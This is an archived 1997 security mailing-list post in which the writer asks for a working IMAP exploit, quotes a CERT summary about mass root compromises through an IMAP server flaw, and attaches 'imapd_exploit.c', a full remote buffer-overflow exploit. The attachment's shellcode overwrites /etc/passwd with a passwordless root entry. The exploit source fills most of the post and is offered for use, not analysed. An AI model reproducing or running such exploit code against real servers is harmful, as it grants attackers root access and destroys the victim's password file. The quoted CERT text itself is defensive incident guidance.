Re: CERT Summary CS-97.04

Dan Stromberg (strombrg@HYDRA.ACS.UCI.EDU)
Tue, 05 Aug 1997 10:11:28 -0700

This is a multi-part message in MIME format.

--Boundary_(ID_Ydlyi5be1us54rno+l1rKg)
Content-type: text/plain; charset=us-ascii
Content-transfer-encoding: 7bit

Does someone have "the" exploit for this?

Aside from the one I've attached, which didn't appear to work against a
RH 4.0 host?

Aleph One wrote:
>
> -----BEGIN PGP SIGNED MESSAGE-----
>
> - ---------------------------------------------------------------------------
> CERT* Summary CS-97.04 - SPECIAL EDITION
> August 4, 1997
>
> This special edition of the CERT Summary highlights large-scale attacks
> involving a vulnerability in certain implementations of IMAP. This
> vulnerability and corrective actions are described in
>
> ftp://info.cert.org/pub/cert_advisories/CA-97.09.imap_pop
>
> Because attacks have been occurring since the release of this advisory, we
> urge you to take immediate action to address this vulnerability.
>
> The vulnerability lies in the implementation of this particular IMAP server,
> not with the protocol.
>
> Preliminary data from one current incident indicates that probes were made to
> thousands of hosts, and approximately 40% of those hosts appear to be
> vulnerable. In addition to this large incident, we have been receiving
> numerous reports of root compromises as a result of this vulnerability.
>
> If you discover that your site has been probed for this vulnerability, we
> encourage you to check your systems for signs of compromise using our Intruder
> Detection Checklist, available at
>
> ftp://info.cert.org/pub/tech_tips/intruder_detection_checklist
>
> This document will help you methodically check your systems for signs of
> compromise and offers pointers to other resources and suggestions on how to
> proceed in the event of a compromise.
>
> On one machine where large-scale scans were launched, the intruders installed
> a Trojan Horse identd server. This Trojan identd allowed intruders to connect
> to the identd server and obtain root access. If you are running identd, we
> encourage you to verify the integrity of your identd executable with the
> distribution.
>
> If you discover that you have suffered a root compromise as a result, we
> encourage you to recover by taking the steps outlined in
>
> ftp://info.cert.org/pub/tech_tips/root_compromise
>
> This will help you recover from the incident, and offers pointers to other
> resources that may help you secure your systems against future compromise.
>
> If, during the course of your investigation, you discover evidence indicating
> that other sites are involved, we encourage you to contact those sites
> directly and to include cert@cert.org on the CC line of any messages you
> exchange.
>
> If you are represented by another incident response team in the Forum of
> Incident Response and Security Teams (FIRST), we encourage you to follow up
> with that team. More information about FIRST can be found at
>
> http://www.first.org/
>
> Due to the large volume of messages we anticipate, we will not be able to
> respond to each report individually. However, your reports will help us
> determine the scope of the problem and coordinate activity in response.
>
> Past CERT Summaries are available from
> ftp://info.cert.org/pub/cert_summaries/
>
> - ---------------------------------------------------------------------------
> How to Contact the CERT Coordination Center
>
> Email cert@cert.org
>
> Phone +1 412-268-7090 (24-hour hotline)
> CERT personnel answer 8:30-5:00 p.m. EST
> (GMT-5)/EDT(GMT-4), and are on call for
> emergencies during other hours.
>
> Fax +1 412-268-6989
>
> Postal address
> CERT Coordination Center
> Software Engineering Institute
> Carnegie Mellon University
> Pittsburgh PA 15213-3890
> USA
>
> To be added to our mailing list for CERT advisories and bulletins, send your
> email address to
> cert-advisory-request@cert.org
> In the subject line, type
> SUBSCRIBE your-email-address
>
> CERT advisories and bulletins are posted on the USENET news group
> comp.security.announce
>
> CERT publications, information about FIRST representatives, and other
> security-related information are available for anonymous FTP from
> http://www.cert.org/
> ftp://info.cert.org/pub/
>
> If you wish to send sensitive incident or vulnerability information to CERT
> staff by electronic mail, we strongly advise you to encrypt your message.
> We can support a shared DES key or PGP. Contact the CERT staff for more
> information.
>
> Location of CERT PGP key
> ftp://info.cert.org/pub/CERT_PGP.key
>
> - ---------------------------------------------------------------------------
> Copyright 1997 Carnegie Mellon University
> This material may be reproduced and distributed without permission provided
> it is used for noncommercial purposes and credit is given to the CERT
> Coordination Center.
>
> * Registered U.S. Patent and Trademark Office.
>
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.2
>
> iQCVAwUBM+YFEHVP+x0t4w7BAQFFawQAqa7j84TnrDs9v0SIILYsFNDObg/+sqMz
> KVah/RRPOaUPrWZ2NRkWg5FUT0c0LMuxVRjvmIkdHSB6S71IRdoS/LFJwfFPvoSA
> iTNGaTVwP2vRvat4TqxmA356J2fGVEQjPq1THE6qNLeQX9IqabRBLcG8cVoXr/Ku
> 9CIVs1GbSIY=
> =hMAh
> -----END PGP SIGNATURE-----

--Boundary_(ID_Ydlyi5be1us54rno+l1rKg)
Content-type: text/plain; name=imapd_exploit.c; charset=us-ascii
Content-disposition: inline; filename=imapd_exploit.c
Content-transfer-encoding: 7bit

/*

This is the remote exploit of the hole in the imap daemon, for
Linux. The instruction code is doing open(), write(), and close()
system calls, and it adds a line root::0:0.. at the beggining of
/etc/passwd (change to /etc/shadow if needed). The code needs to
be self modifying since imapd turns everything to lowercase before
it pushes it on the stack. The problem is that it rewrites the
first line of passwd/shadow, therefore loosing the root password.

I'm sorry, but I don't have time to add in the seek syscall.

- Akylonius (aky@galeb.etf.bg.ac.yu) [1997]

Modifications made on 5.1.97 to accept command line hostname, with
'h_to_ip' function that resolves it to an ip. - p1 (p1@el8.org)

*/

#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <netdb.h>

char *h_to_ip(char *hostname);

char *h_to_ip(char *hostname) {

struct hostent *h;
struct sockaddr_in tmp;
struct in_addr in;

h = gethostbyname(hostname);

if (h==NULL) { perror("Resolving the host. \n"); exit(-1); }

memcpy((caddr_t)&tmp.sin_addr.s_addr, h->h_addr, h->h_length);
memcpy(&in,&tmp.sin_addr.s_addr,4);

return(inet_ntoa(in));
}

void banner(void) {
system("clear");
printf("\nIMAP Exploit for Linux.\n");
printf("\n\tAuthor: Akylonius (aky@galeb.etf.bg.ac.yu)\n");
printf(" Modifications: p1 (p1@el8.org)\n");
}

main(int argc, char **argv) {

int fd;
struct sockaddr_in sckdaddr;
char *hostname;
char buf[4092];
int i=8;
char realegg[] =
"\xeb\x58\x5e"
"\x31\xdb\x83\xc3\x08\x83\xc3\x02\x88\x5e\x26"
"\x31\xdb\x83\xc3\x23\x83\xc3\x23\x88\x5e\xa8"
"\x31\xdb\x83\xc3\x26\x83\xc3\x30\x88\x5e\xc2"
"\x31\xc0\x88\x46\x0b\x89\xf3\x83\xc0\x05\x31"
"\xc9\x83\xc1\x01\x31\xd2\xcd\x80\x89\xc3\x31"
"\xc0\x83\xc0\x04\x31\xd2\x88\x56\x27\x89\xf1"
"\x83\xc1\x0c\x83\xc2\x1b\xcd\x80\x31\xc0\x83"
"\xc0\x06\xcd\x80\x31\xc0\x83\xc0\x01\xcd\x80"
"iamaselfmodifyingmonsteryeahiam\xe8\x83\xff\xff\xff"
"/etc/passwdxroot::0:0:r00t:/:/bin/bashx";
char *point = realegg;
buf[0]='*';
buf[1]=' ';
buf[2]='l';
buf[3]='o';
buf[4]='g';
buf[5]='i';
buf[6]='n';
buf[7]=' ';

banner();

if (argc<2) {
printf("\nUsage: %s <hostname>\n\n", argv[0]);
exit(-1);
}

hostname=argv[1];

while(i<1034-sizeof(realegg) -1) /* -sizeof(realegg)+1) */
buf[i++]=0x90;

while(*point)
buf[i++]=*(point++);

buf[i++]=0x83; /* ebp */
buf[i++]=0xf3;
buf[i++]=0xff;
buf[i++]=0xbf;
buf[i++]=0x88; /* ret adr */
buf[i++]=0xf8;
buf[i++]=0xff;
buf[i++]=0xbf;

buf[i++]=' ';
buf[i++]='b';
buf[i++]='a';
buf[i++]='h';
buf[i++]='\n';

buf[i++]=0x0;

if ((fd=socket(AF_INET,SOCK_STREAM,0))<0) perror("Error opening the
socket. \n");

sckdaddr.sin_port=htons(143);
sckdaddr.sin_family=AF_INET;
sckdaddr.sin_addr.s_addr=inet_addr(h_to_ip(hostname));

if (connect(fd,(struct sockaddr *) &sckdaddr, sizeof(sckdaddr)) < 0)
perror("Error with connecting. \n");

printf("hmm: \n");
getchar();
write(fd,buf,strlen(buf)+1);
printf("hmm: \n");
close(fd);
}

--Boundary_(ID_Ydlyi5be1us54rno+l1rKg)--